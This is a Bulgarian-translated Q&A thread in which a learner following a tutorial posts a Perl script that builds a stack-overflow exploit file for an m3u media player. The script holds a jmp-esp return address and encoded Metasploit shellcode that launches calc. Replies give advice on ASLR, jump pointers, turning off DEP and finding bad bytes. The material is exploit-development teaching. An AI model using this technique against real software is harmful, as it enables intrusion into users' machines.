Разработване на експлойти - Shellcode не работи?

Следя corelan .be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ за възпроизвеждане на експлойта.

Първо, открих, че позицията на EIP е след 26089 As (в 0016F454), а ESP е 4 знака след EIP (в 0016F45C) според следния код:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Резултати: i.stack.imgur.com/LmPG8.png

Намирам показалеца към jmp-esp инструкция от !mona find -type instr -s "jmp esp" -x X. Използвам 0x7457AC5B един.

Резултати: http://i.stack.imgur.com/iUoVY.png

Внимателно направих всичко да изглежда работещо. Финализиран код:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Крайни резултати: http://i.stack.imgur.com/JSwKt.png

Просто не става! Вярвам, че моят EIP и позицията на шелкода са правилни, така че проблемът може да е в ефективността на шелкода. Опитах shellcodes за стартиране на calc.exe от различен уебсайт, но никой не проработи.

Защо не работи? Използвам Windows 10 x64. Моля, насочете ме, тъй като бях заседнал в това от седмици и разгледах внимателно статии за подобни проблеми в мрежата. Наистина нямам представа.

Благодаря предварително.


person aheh    schedule 06.11.2015    source източник


Отговори (2)


  • Целева ОС:
    Внимавайте! ==> ASLR! !!
    В урока целта изглежда е "Windows XP SP3 (En)" и той тества на "Windows XP [Версия 5.1.2600]".
    В коментарите има положителна обратна връзка за процедурата, работеща на "Win7 Prof Ver 6.1.7600 English" с ASLR, дори след рестартиране. И вие тествате на Windows 10, очевидно с ASLR.
  • Надеждност в платформите на Windows:
    Потвърждавам! Вие наистина имате контрол върху EIP 0016F454 (виждаме "DDDD"), ESP сочи към 0016F45C(shellcode).
    Опитахте ли различни инструкции? (jmp, call или push-ret).
    Използвахте 0x7457AC5B ==> "jmp-esp" в cfgmgr32.dll.
    Опитахте ли 0x035bf23a ==> "jmp-esp" в MSRMCcodec02.dll?
  • Опитайте се да намерите надеждни указатели:
    pvefindaddr j -r esp -n -o (Immunity Debugger или нещо подобно). И винаги е по-добре да избягвате „SafeSEH“ и „ASLR“.
person Seb B.    schedule 06.11.2015
comment
Благодаря! Сега разбирам, че адресът на указателя към инструкцията esp е променлив. Използвам !mona find -type instr -s "jmp esp" -x X -cm aslr=false, за да намеря адреса всеки път, когато програмата се изпълнява (когато се появи UI на използваемата програма), след което използвам този адрес в моя Perl код, за да генерирам shellcode (така че EIP указателят ТРЯБВА да работи). Но без резултат. Показва access violation when executing [7C862AED], в който 7c862aed са 20-23-ия знак от моя шелкод за стартиране на calc. И така, проблемът е shellcode. Трябва ли сам да генерирам calc.exe, създаващ shellcoode за Win10 x64? как? - person aheh; 07.11.2015
comment
Опитахте ли с DEP деактивиран? bcdedit.exe /set nx optin или bcdedit.exe /set nx AlwaysOff. С AllwaysOff може да се наложи да деактивирате защитеното зареждане. С optin трябва да използвате указатели от компонентите на exploited-prog. - person Seb B.; 07.11.2015

Проверихте ли за лоши байтове? Доста често определени байтове се използват от парсерите на файлове като магически маркери и могат да причинят вашия шелкод да не бъде копиран изцяло или преведен в повреден шел код. Можете да използвате функцията bytearray на mona, за да ви помогне да идентифицирате лоши байтове (https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)

person wireghoul    schedule 08.11.2015
comment
Благодаря за съвета. Но след като го проверих старателно, нито един символ освен NULL не е лош байт. - person aheh; 09.11.2015